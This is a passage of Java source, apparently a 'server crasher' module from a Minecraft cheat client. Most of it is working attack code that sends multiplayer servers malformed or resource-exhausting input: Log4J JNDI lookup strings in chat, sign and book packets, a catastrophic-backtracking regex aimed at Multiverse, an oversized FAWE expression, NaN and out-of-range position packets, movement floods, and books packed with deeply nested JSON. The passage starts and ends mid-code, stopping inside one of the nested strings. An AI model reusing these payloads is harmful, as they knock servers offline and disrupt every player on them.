\"NaN\", \"Fly\", \"Click\", \"Block Click\", \"Window\", \"BEdit\", \"Mare\", \"Interact\", \"One Packet\", \"AAC5\");\n    private final NumberSetting packets = new NumberSetting(\"Packets\", this, 10, 1, 100, 1);\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        packets.hidden = !(mode.is(\"Mare\") || mode.is(\"Interact\"));\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning() || PlayerUtil.isOnServer(\"127.0.0.1\") || PlayerUtil.isOnServer(\"localhost\"))\n            return;\n\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        switch (mode.getMode()) {\n            case \"Pex\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0) {\n                    mc.thePlayer.sendChatMessage(\"/pex promote a a\");\n                    mc.thePlayer.sendChatMessage(\"/pex promote b b\");\n                }\n                break;\n            }\n\n            case \"Multiverse\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    mc.thePlayer.sendChatMessage(\"/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^\");\n                break;\n            }\n\n            case \"FAWE\": {\n                PacketUtil.sendPacketWithoutEvent(new C14PacketTabComplete(\"/to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}\"));\n                break;\n            }\n\n            case \"Log4J\": {\n                mc.thePlayer.sendChatMessage(\"/ ${jndi:rmi://localhost:3000}\");\n\n                this.toggleModule();\n                this.registerNotification(\"Attempted to crash the server.\");\n                break;\n            }\n\n            case \"Invalid Move\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, event.isGround()));\n                break;\n            }\n\n            case \"Rotation\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, event.isGround()));\n                break;\n            }\n\n            case \"Sign\": {\n                final IChatComponent[] text = new IChatComponent[]{new ChatComponentText(\"${jndi:rmi://localhost:3000}\")};\n                PacketUtil.sendPacket(new C12PacketUpdateSign(BlockPos.ORIGIN, text));\n                break;\n            }\n\n            case \"Book\": {\n                final NBTTagCompound comp = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                list.appendTag(new NBTTagString(\"${jndi:rmi://localhost:3000}\"));\n\n                comp.setString(\"author\", \"${jndi:rmi://localhost:3000}\");\n                comp.setString(\"title\", \"${jndi:rmi://localhost:3000}\");\n                comp.setByte(\"resolved\", (byte) 1);\n                comp.setTag(\"pages\", list);\n                final ItemStack stack = new ItemStack(Items.writable_book);\n                stack.setTagCompound(comp);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(stack);\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                break;\n            }\n\n            case \"Chunk\": {\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                for (int i = 0; i < 32000; i++)\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(x++, y >= 255 ? 255 : y++, z++, true));\n                break;\n            }\n\n            case \"NaN\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.NaN, Double.NaN, Double.NaN, Float.NaN, Float.NaN, event.isGround()));\n                break;\n            }\n\n            case \"Fly\": {\n                double y = 0, z;\n                int i;\n\n                for (i = 0; i < 200; i++) {\n                    y = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ, false));\n                }\n\n                for (i = 0; i < 10000; i++) {\n                    z = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ + z, false));\n                }\n                break;\n            }\n\n            case \"Block Click\": {\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, new ItemStack(Blocks.piston_head), (short) 0));\n                break;\n            }\n\n            case \"Click\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.writable_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                }\n                break;\n            }\n\n            case \"Window\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[